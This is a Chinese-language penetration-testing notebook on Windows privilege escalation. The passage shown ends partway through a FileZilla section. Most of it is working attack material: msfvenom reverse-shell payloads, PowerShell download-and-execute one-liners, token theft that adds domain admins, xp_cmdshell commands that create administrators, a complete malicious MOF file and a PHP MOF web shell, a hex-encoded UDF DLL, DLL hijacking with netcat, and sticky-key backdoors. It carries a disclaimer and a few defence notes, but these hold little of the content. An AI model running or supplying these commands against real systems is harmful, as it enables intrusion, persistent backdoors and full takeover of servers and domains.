郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Windows 提权
1 利用漏洞提权1.1 手工查找系统缺失补丁1.2 Windows 补丁审计工具1.2.1 Windows-Exploit-Suggester1.2.2 Sherlock 1.3 MSF 模块查找可利用漏洞 2 利用 Windows 配置错误提权2.1 系统服务权限配置错误2.1.1 利用 PowerUp 进行本地提权:2.1.2 MSF 中的 service_permissions 提权 2.2 注册表键 AlwaysInstallElevated2.3 可信任服务路径漏洞2.4 自动安装配置文件 3 组策略首选项提权分析及防范3.1 利用组策略批量修改域中机器本地管理员密码3.2 获取组策略的凭据3.3 防御组策略首选项提权 4 绕过 UAC 提权4.1 获取 system 账号权限:4.2 绕过 UAC 限制方式 5 使用 tokens 攻击域控制器5.1 Tokens 攻击过程 6 Windows 服务器提权6.1 IIS 中的权限简介6.1.1 IIS 特性6.1.2 IIS 中的权限 6.2 Windws 服务器溢出提权6.2.1 利用前提6.2.2 EXP 利用6.2.2.1 ASP webshell6.2.2.2 ASPX webshell 6.3 WinServer 溢出提权6.3.1 利用前提6.3.2 EXP 利用 6.4 SQLServer 提权6.4.1 通过 webshell 查找可能存在用户信息的文件6.4.2 连接 MSsql 数据库6.4.3 命令执行 6.5 DLL 劫持提权6.5.1 DLL 劫持提权原理6.5.1.1 Windows 的资源共享机制6.5.1.2 DLL 劫持6.5.1.3 DLL 劫持实现 6.5.2 LPK.DLL 劫持提权6.5.2.1 生成 LPK.DLL 模块6.5.2.2 利用 LPK.DLL 模块提权 6.6 MOF 提权6.6.1 MOF 介绍6.6.2 MOF 提权的原理6.6.3 利用过程6.6.3.1 修改 MOF 文件并上传6.6.3.2 利用 MOF 文件 6.6.4 利用 mof.php 直接提权6.6.4.1 webshell6.6.4.2 执行 Payload 7 MYSQL UDF提权7.1 什么是 UDF7.2 利用方式 8 zend 提权8.1 利用原理8.2 利用过程:建立远控8.2.1 查找 `ZendExtensionManager.dll` 文件目录8.2.2 生成恶意文件8.2.3 利用恶意文件 8.3 利用过程:执行恶意软件8.3.1 查找 `ZendExtensionManager.dll` 文件目录8.2.2 生成恶意文件8.2.3 利用恶意文件8.2.4 使用 Kali 制作后门软件 9 FileZilla 提权9.1 利用原理9.2 利用过程9.2.1 查看敏感文件9.2.2 配置端口转发9.2.3 创建 ftp user 并分配权限9.2.4 创建 shift 后门9.2.5 测试后门 10 MSF 中 Windows 提权完整流程10.1 MSF 中 windows 提权模块10.2 利用 MSF 生成反向 shell payload10.3 本地开启监听10.4 上传 Payload10.5 提权10.5.1 使用 getsystem 提权10.5.2 使用模块进行提权10.5.3 migrate 注入进程 10.6 持久后门10.6.1 增加管理员run exploit/windows/local/persistence10.6.2 persistence 后门前提:已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统
user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user 被 administrator 包含)当获得 user 提权为 administrator当获得 administrator 提权为system生成个木马msfvenom -a x86 --platform windows -p windows/x86/shell/reverse_tcp LHOST=192.168.0.2 -b '\x00' -f exe -o evil.exemsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -a x64 -f exe > Desktop/evil.exe
1 利用漏洞提权
1.1 手工查找系统缺失补丁
确认当前系统权限
whoami /groups
: Mandatory Label\Medium Mandatory Level:标准用户Mandatory Label\High Mandatory Level:管理员用户
查找当前系统安装过的补丁
wmic qfe get
systeminfo
1.2 Windows 补丁审计工具
1.2.1 Windows-Exploit-Suggester
AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. ()
SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 ()
利用前提:
python2 环境
# 安装 xlrd 库pip2 install xlrd --upgrade# update the database./windows-exploit-suggester.py -u# 导出靶机系统信息到本地systeminfo > systeminfo.txt# 查找可以利用的漏洞./windows-exploit-suggester.py --database -07-18-mssb.xls --systeminfo systeminfo.txt# 查找可以利用本地提权的漏洞./windows-exploit-suggester.py -a -l --database -07-18-mssb.xls --systeminfo systeminfo.txt# 如果没有打补丁,就会显示可以利用的 ms 编号、 exp 的地址和描述
1.2.2 Sherlock
rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. ()
import-module .\Sherlock.ps1Find-AllVulns
1.3 MSF 模块查找可利用漏洞
post/multi/recon/local_exploit_suggester
2 利用 Windows 配置错误提权
2.1 系统服务权限配置错误
服务未运行:利用任意服务替换原来的服务,然后重启服务。服务正运行且无法终止:利用 DLL 劫持技术并尝试重启服务来提权。2.1.1 利用 PowerUp 进行本地提权:
# 下载到本地后执行powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”# 远程下载执行powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Install-ServiceBinary -ServiceName 'rpcapd' -UserName test -Password test
“Everyone” 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
2.1.2 MSF 中的 service_permissions 提权
MSF 中对应的模块为:exploit/windows/local/service_permissions
。
2.2 注册表键 AlwaysInstallElevated
注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer) 文件。
# 开启 AlwaysInstallElevated 功能打开 gpedit.msc,组策略-计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用打开 gpedit.msc,组策略-用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用# CMD 下开启 AlwaysInstallElevated 功能reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
利用 PowerUP 的 Get-RegAlwaysInstallElevated 模块来检查注册表键是否被设置。
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegAlwaysInstallElevated”
添加账户:利用 Write-UserAddMSI 模块,生成 MSI 文件。再以普通用户权限运行 UserAdd.msi,添加一个管理员账户 MSF 中对应的模块为:exploit/windows/local/always_install_elevated
。防御:只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权。
2.3 可信任服务路径漏洞
windows服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行解析。如果一个被恶意命名的执行程序被上传到受影响的目录中,服务一旦重启,就有机会进行权限提升为 System 权限。
例如,有如下的文件路径:C:\Program Files\Some Folder\Service.exe对于上面文件路径中的每一个空格,windows 都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe
检测目标机器是否存在可信服务路径漏洞
# 使用 wmic 列出没有被引号所引起来的服务路径wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
检查存在漏洞的目录是否有写入的权限
利用 Windows内建工具:icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限。参数说明:“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。“M”表示修改“F”代表完全控制“CI”代表从属容器将继承访问控制项“OI”代表从属文件将继承访问控制项。Everyone:(OI)(CI)(F)意味着对该目录有读,写,删除其下的文件,删除其子目录的权限。
利用漏洞:将要上传的程序重命名并放置在存在此漏洞且可写的目录下,并尝试重启服务进行提权。
MSF 对应模块:exploit/windows/local/unquoted_service_path
。
2.4 自动安装配置文件
网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。
# 搜索Unattend.xml文件dir /b /s c:\Unattend.xml# MSF 中对应模块post/windows/gather/enum_unattend
3 组策略首选项提权分析及防范
SYSVOL 是活动目录里面的一个用于存储公共文件服务副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVO L目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies
目录中。
常见的组策略首选项(GPP)
映射驱动器(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)
3.1 利用组策略批量修改域中机器本地管理员密码
组策略管理-林:test.lab-域-test.lab-右键:Default Domain Policy组策略编辑器-计算机配置-首选项-控制面板设置-本地用户和组本地用户和组-右键:新建-本地用户-配置如下图将 Domain Computer 组添加到验证组策略对象列表中,将新建的组策略应用到域中所有的非域控制器中手动更新组策略的更新信息C:\Users\administrator>gpupdate
3.2 获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。
# 手动查找 cpassword\\test.lab\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groupspython Gpprefdecrypt.py A48HwlVXS/3M2Asazld/dz+ATwKowJVcVhIM67sfhO8# PowerSploitImport-Module .\PowerSploit.psd1Get-GPPPassword# MSF 利用 post/windows/gather/credentials/gpp 模块进行自动查找# 其他组策略首选项中可选的 cpassword 属性Services\Services.xmlScheduledTasks\ScheduledTasks.xmlPrinters\Printers.xmlDrives\Drives.xmlDataSources\DataSources.xml
3.3 防御组策略首选项提权
设置共享文件夹的 SYSVOL 的访问权限将包含组策略密码的 XML 文件从 SYSVOL 目录中删除不要将密码放在所有域用户都有权限访问的文件中建议使用 LAPS 进行更改域中机器的本地管理员密码4 绕过 UAC 提权
4.1 获取 system 账号权限:
提权失败,一般是由于 UAC 限制4.2 绕过 UAC 限制方式
# 通过不停的弹出UAC窗口,让没有安全意识的人选择yes。use exploit/windows/local/askset filename update.exeset session 1# 在用户不知情的情况下关闭 UACuse exploit/windows/local/bypassuac# bypassuac_injectionuse exploit/windows/local/bypassuac_injectionset target 1set payload windows/x64/meterpreter/reverse_tcp# 64 位的只能用 64 位的 payload,使用 86 的会报错[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
5 使用 tokens 攻击域控制器
令牌(Token) 就是系统的临时密钥,相当于账号和密码,用于决定是否允许这次请求及判断当前请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性和不可预测性,一般的攻击无法将令牌猜测出来。tokens 攻击的核心是 Kerberos 协议。
客户端请求证书的过程如下所示。
客户端向认证服务器(AS)发送请求,要求得到服务器的证书。AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,session key) 。当然,认证服务器也会给服务器发送一份该证书,使服务器可以认证登录客户端的身份。客户端将ticket传到服务器上,如果服务器确认该客户端身份,便允许它登录服务器。客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。用户每次登录,账号绑定临时的tokens,访问资源时提交 tokens 进行身份验证,类似于 web cookies。delegate tokens 账号注销后变为 Impersonate Token,权限依然有效(delegate tokens:交互登录会话,impersonate tokens:非交互登录会话)。
5.1 Tokens 攻击过程
tokens 攻击需要拥有目标主机的 getsystem 权限,本地普通权限用户需要先取得本地权限
加载模块,并查看当前主机中的 tokens
load incognitolist_tokens -u
域管理员没有登陆目标设备时
通过域控制器访问共享目录,创建一个Token:\\192.168.10.22\C$
窃取 Token:impersonate_token LAB\\administrator
使用 LAB\administrator 用户开启 CMD:execute -f cmd.exe -i -t
(-i,直接进入cmd,执行交互; -t:使用当前假冒tokens执行程序)
添加域管理员
net user admin1 Admin123 /ad /domainnet group "domain admins" admin1 /ad /domain
6 Windows 服务器提权
6.1 IIS 中的权限简介
在渗透测试中 ,我们获取的权限是 iis_user 用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。
6.1.1 IIS 特性
IIS 中默认文件上传大小不能超过 200k, 否则会报错。6.1.2 IIS 中的权限
Windows 中 权限大小为:aspx->php=>asp
aspx 默认能执行终端命令;
php 和 asp 在 wscript.shell 命令行执行组件没有删除的情况下,可以通过上传 cmd 到可执行目录,执行终端命令。
6.2 Windws 服务器溢出提权
利用 F4ck 的 pe.asp 进行 Windws 溢出提权
6.2.1 利用前提
目标主机存在 webshell 并且可以执行终端命令上传溢出 EXP:IIS6.0-pe-exp.exe执行命令6.2.2 EXP 利用
6.2.2.1 ASP webshell
webshell.asp,密码:F4ck
访问webshell.asp,上传 cmd.exe 到可执行目录下如:C:\RECYCLER\
测试执行 cmd 命令
上传溢出 EXP 到可执行目录:IIS6.0-pe-exp.exe(注意 IIS 中默认文件上传大小不能超过 200k,超过要以其他方式进行上传。)
利用 EXP 提权:
C:\RECYCLER\IIS6.0-pe-exp.exe "net user test 123456 /add & net localgroup administrators test /add"
6.2.2.2 ASPX webshell
webshell.aspx,密码:admin
访问 webshell.aspx,点击 Cmd Shell, 测试执行系统命令
当拥有更大的权限时,还可以点击 IIS Spy 查看 IIS_USER 与 IIS_PASS
上传 EXP 文件到可执行目录::IIS6.0-pe-exp.exe
利用 EXP 提权:
/c c:/recycler/IIS6.0-pe-exp.exe whoami
6.3 WinServer 溢出提权
6.3.1 利用前提
目标主机存在 WebShell:webshell.aspx在 WinServer R2 中 服务器默认是支持 aspx 的。aspx 默认能执行终端命令。上传溢出 EXP:CVE--4113-Exploit执行命令6.3.2 EXP 利用
webshell.aspx,密码:admin
访问 webshell.aspx,点击 Cmd Shell, 查看当前系统与所对应的权限
whoamisysteminfo
在 File Manager 中上传 EXP 文件到可执行目录::CVE--4113-Exploit
可以通过访问上传 getexecutedir.aspx 文件,查找可执行目录
c:\inetpub\wwwroot\
利用 EXP 提权:
在 CmdShell 标签中执行
/c c:\inetpub\wwwroot\\Win64.exe whoami
6.4 SQLServer 提权
如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。
注:获得的可能是普通用户权限,此时还需要配合其他方式如:溢出 exp 进行提权。
6.4.1 通过 webshell 查找可能存在用户信息的文件
webshell.aspx,密码:admin
web.configconfig.aspconn.aspxdatabase.aspxindex.apsx
6.4.2 连接 MSsql 数据库
server=localhost,1433;UID=sa;PWD=123456;database=master
6.4.3 命令执行
# 命令执行示例:# xp_cmdshellExec master.dbo.xp_cmdshell 'whoami'Exec master.dbo.xp_cmdshell 'net user test 123456 /add & net localgroup administrators test /add'Exec master.dbo.xp_cmdshell 'systeminfo'# sp_oacreateExec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
可以得知当前权限为 network service 普通用户,拥有基础命令操作,可以配合溢出提权进行提权操作。
6.5 DLL 劫持提权
6.5.1 DLL 劫持提权原理
6.5.1.1 Windows 的资源共享机制
windows 2000 之前,微软建议多个应用程序共享的任何模块应该放在 C:\Windows 的系统目录中,如:Kernel32.dll。windows 2000 之后,微软建议应用程序将所有文件放到自己的目录并强制系统的加载程序首先从应用程序目录中加载模块,并只有当加载模块无法在应用程序目录中找到,才搜索其他目录。利用此特性,可以使应用程序强制加载指定的 DLL 文件,从而实现 DLL 劫持。6.5.1.2 DLL 劫持
Windows 的资源共享机制,即操作系统加载程序首先从应用程序目录中加载模块特性,在注册表中也有体现:
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 如果为1:搜索顺序为:应用程序所在目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> 运行程序的当前目录 -> PATH环境变量,如果为0:搜索顺序为:应用程序所在目录 -> 运行程序的当前目录 -> 系统目录(用 GetSystemDirectory 获取) -> 16 位系统目录 -> Windows 目录(用 GetWindowsDirectory 获取) -> PATH 环境变量。Windows Server 默认值为 1,Windows XP/2000 默认值为 0 或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的 DLL。如果这个 DLL 和系统目录下的某个 DLL 同名,导出表也相同,功能就是加载系统目录下的那个 DLL,并且将导出表转发到那个真实的 DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的 DLL,再将其放在可执行文件的目录即可轻松实现 DLL劫持了。
6.5.1.3 DLL 劫持实现
以劫持 LPK.DLL 文件为例:通过编程来实现一个 LPK.DLL 文件,它与系统目录下的 LPK.DLL 导出表相同,并能加载系统目录下的 LPK.DLL ,并且能将导出表转发到真实的 LPK.DLL 。可以看出我们要实现的这个 DLL 需求如下:
1、构造一个与系统目录下 LPK.DLL 一样的导出表;
2、加载系统目录下的 LPK.DLL;
3、将导出函数转发到系统目录下的 LPK.DLL 上;
4、在初始化函数中加入我们要执行的代码。
6.5.2 LPK.DLL 劫持提权
利用工具:T00ls Lpk Sethc v4
6.5.2.1 生成 LPK.DLL 模块
设备热键值为:A(65)、B(66)启动密码:123456其余默认点击生成 LPK.DLL 模块6.5.2.2 利用 LPK.DLL 模块提权
将 LPK.DLL 模块放到开机启动的程序目录下(该程序需要调用 LPK.DLL 模块),当用户重启设备时,可劫持 LPK.DLL 模块。
通过 mstsc 远程连接目标主机
先按 shift 键五次弹出粘滞键窗口
再同时按设置的热键 Ctrl a 和 b 就会弹出后门
输入密码:123456
执行命令。
6.6 MOF 提权
6.6.1 MOF 介绍
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。
6.6.2 MOF 提权的原理
MOF 是 Windows 系统的一个文件(在C:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有了 MySQL 的 root 权限后,将改写的 mof 文件上传,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。
6.6.3 利用过程
需要 mysql 对C:/windows/system32/wbem/mof
文件夹具有写的权限。
6.6.3.1 修改 MOF 文件并上传
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add && net localgroup administrators test /add \")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
上传 evil.mof 到可执行目录
C:\Documents and Settings\All Users\Application Data\evil.mof
6.6.3.2 利用 MOF 文件
使用 sql 语句将系统当中默认的 nullevt.mof 给替换掉。进而让系统执行我们这个恶意的 mof 文件。
select load_file('C:\Documents and Settings\All Users\Application Data\evil.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
等待系统执行恶意的 mof 文件后,可以看到系统创建了 test 用户,权限为 administrators 组
6.6.4 利用 mof.php 直接提权
6.6.4.1 webshell
上传以下文件并访问 mof.php 文件
<?php $path="c:/ini.txt"; session_start(); if(!empty($_POST['submit'])){setcookie("connect"); setcookie("connect[host]",$_POST['host']); setcookie("connect[user]",$_POST['user']); setcookie("connect[pass]",$_POST['pass']); setcookie("connect[dbname]",$_POST['dbname']); echo "<script>location.href='?action=connect'</script>"; } if(empty($_GET["action"])){?> <html> <head><title>Win MOF Shell</title></head> <body> <form action="?action=connect" method="post"> Host: <input type="text" name="host" value="192.168.1.123:3306"><br/> User: <input type="text" name="user" value="root"><br/> Pass: <input type="password" name="pass" value="toor"><br/> DB: <input type="text" name="dbname" value="mysql"><br/> <input type="submit" name="submit" value="Submit"><br/> </form> </body> </html> <?php exit; } if ($_GET[action]=='connect') {$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>'); echo "<form action='' method='post'>"; echo "Cmd:"; echo "<input type='text' name='cmd' value='$strCmd'?>"; echo "<br>"; echo "<br>"; echo "<input type='submit' value='Exploit'>"; echo "</form>"; echo "<form action='' method='post'>"; echo "<input type='hidden' name='flag' value='flag'>"; echo "<input type='submit'value=' Read '>"; echo "</form>"; if (isset($_POST['cmd'])){$strCmd=$_POST['cmd']; $cmdshell='cmd /c '.$strCmd.'>'.$path; $mofname="c:/windows/system32/wbem/mof/system.mof"; $payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\") instance of __EventFilter as \$EventFilter { EventNamespace = \"Root\\\\\\\\Cimv2\"; Name = \"filtP2\"; Query = \"Select * From __InstanceModificationEvent \" \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \" \"And TargetInstance.Second = 5\"; QueryLanguage = \"WQL\"; }; instance of ActiveScriptEventConsumer as \$Consumer { Name = \"consPCSV2\"; ScriptingEngine = \"JScript\"; ScriptText = \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\"; }; instance of __FilterToConsumerBinding { Consumer = \$Consumer; Filter = \$EventFilter; };"; mysql_select_db($_COOKIE["connect"]["dbname"],$conn); $sql1="select '$payload' into dumpfile '$mofname';"; if(mysql_query($sql1)) echo "<hr>Execute Successful!<br> Please click the read button to check the result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); mysql_close($conn); } if(isset($_POST['flag'])) {$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>'); $sql2="select load_file(\"".$path."\");"; $result2=mysql_query($sql2); $num=mysql_num_rows($result2); while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {echo "<hr/>"; echo '<pre>'. $row[0].'</pre>'; } mysql_close($conn); } } ?>
6.6.4.2 执行 Payload
以 root 用户登陆,执行以下语句:
net.exe user test 123456 /add && net localgroup administrators test /add
7 MYSQL UDF提权
MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权
7.1 什么是 UDF
UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。
7.2 利用方式
原理:通过自定义库函数来实现执行任意的程序
前提: 在 mysql 库下必须有 func 表,并且在‑‑skip‑grant‑tables
开启的情况下,UDF 会被禁止;
利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令
# 查看 secure_file_priv 的值show global variables like 'secure%';`secure_file_priv` 参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。- NULL :默认,表示限制 Mysql 不允许导入导出。 - /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下- 空值:表示不限制 Mysql 的导入|导出# 若没有权限导出时报错如下:# 需要在my.ini 的 [mysqld] 下添加:secure-file-priv=The MySQL server is running with the --secure-file-priv option so it cannot execute this statement# 没有 plugin 文件夹时报错如下:# 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。# 当 MySQL> 5.1 版本时,将 .dll 文件导入到 C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll 目录下 (lib\plugin目录默认不存在,需自行创建)。Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin\moonudf.dll' (Errcode: 2)# 获取插件库路径mysql> show variables like "%plugin%";# 查看系统构架mysql> show variables like "%compile%";# 找对应操作系统的 payload 库文件可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件# 将dll文件写入 plugin 目录,并且创建函数创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。create table temp(data longblob);insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);select data from temp into dumpfile "C:\phpStudy\PHPTutorial\MySQL\lib\plugin\udf.dll";# 创建函数 sys_eval# 引入的函数是 sys_eval# shared_library_name(共享包名称): udf.dllcreate function sys_eval returns string soname 'udf.dll';#查看创建的sys_eval函数select * from mysql.func where name = 'sys_eval';# 使用系统命令# 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数select sys_eval('whoami');
8 zend 提权
测试 php 版本 5.2.17
8.1 利用原理
Zend是 php 的引擎(虚拟机解释器)实现先编译再执行。安装 Zend 后,Zend 会自动配置目录权限,当C:\Program Files\Zend\ZendOptimizer-3.3.3\
下的目录权限为 Everyone 全权,这导致入侵者能写入文件。如果 ZendExtensionManager.dll 权限可以修改,那就可以用其他恶意的 dll 文件替换 ZendExtensionManager.dll 文件。
当 iis6.0 在启动、回收进程重启启动的时,有人访问网站的时候就会加载 ZendExtensionManager.dll 文件
8.2 利用过程:建立远控
8.2.1 查找ZendExtensionManager.dll
文件目录
上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机ZendExtensionManager.dll
文件与目录具有可读可写权限
/11/yuanma/asp_rw_cx.rar
8.2.2 生成恶意文件
利用工具:Zend_DLL_Hijacking_for_nc.exe、cmd.exe、nc.exe
8.2.3 利用恶意文件
重命名靶机的 ZendExtensionManager.dll 文件名为old.dll在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 nc.exe 、cmd.exe 三个文件重启靶机,访问靶机的 php 页面,触发 payload 加载。使用本地主机 telnet 远程连接靶机8.3 利用过程:执行恶意软件
8.3.1 查找ZendExtensionManager.dll
文件目录
上传查询目录读写信息的脚本文件,并访问该页面进行查询,确认靶机ZendExtensionManager.dll
文件与目录具有可读可写权限
/11/yuanma/asp_rw_cx.rar
8.2.2 生成恶意文件
利用工具:Zend_DLL_Hijacking.exe、bak.exe(恶意软件)
8.2.3 利用恶意文件
重命名靶机的 ZendExtensionManager.dll 文件名为old.dll在目标主机 ZendExtensionManager.dll 所在的文件夹上传工具所生成的 ZendExtensionManager.dll 、 bak.exe 两个文件重启靶机,访问靶机的 php 页面,触发 payload 加载。使用本地主机 telnet 远程连接靶机8.2.4 使用 Kali 制作后门软件
# 制作后门软件,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=9999 -f exe > bak.exe# 本地监听端口msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.100.128set lport 9999run
9 FileZilla 提权
FileZilla 是一款开源的 FTP 服务器和客户端软件,若安装了服务器端默认侦听127.0.0.1:14147
,默认安装目录下有两个敏感文件FileZilla Server Interface.xml、FileZilla Server.xml
9.1 利用原理
下载FileZilla Server Interface.xml、FileZilla Server.xml
文件,获得管理员密码;配置端口转发,远程管理 ftpserver创建 ftp 用户,分配权限,设置家目录为C:\
使用 cmd.exe 改名为 sethc,exe 替换C:\windows\system32\sethc.exe
生成 shift 后门mstsc 连接 3389 按 5 次 shift 调出 cmd.exe9.2 利用过程
9.2.1 查看敏感文件
通过 webshell 查找FileZilla Server Interface.xml、FileZilla Server.xml
文件,一般在目录C:\Program Files\FileZilla Server\
中。
查看敏感信息:从以下图片中可以看出,密码为:123456,FileZilla 侦听的地址为:127.0.0.1:14147
9.2.2 配置端口转发
利用工具:lcx 端口转发工具
由于 FileZilla 使用的是本地的 14147 端口,我们需要利用 lcx.exe 配置端口转发将本地的 14147 端口转发到 14148 端口
通过 webshell 将 lcx.exe 上传到可执行目录下。
通过 webshell 执行以下命令,配置端口转发。
lcx.exe -tran 14148 127.0.0.1 14147
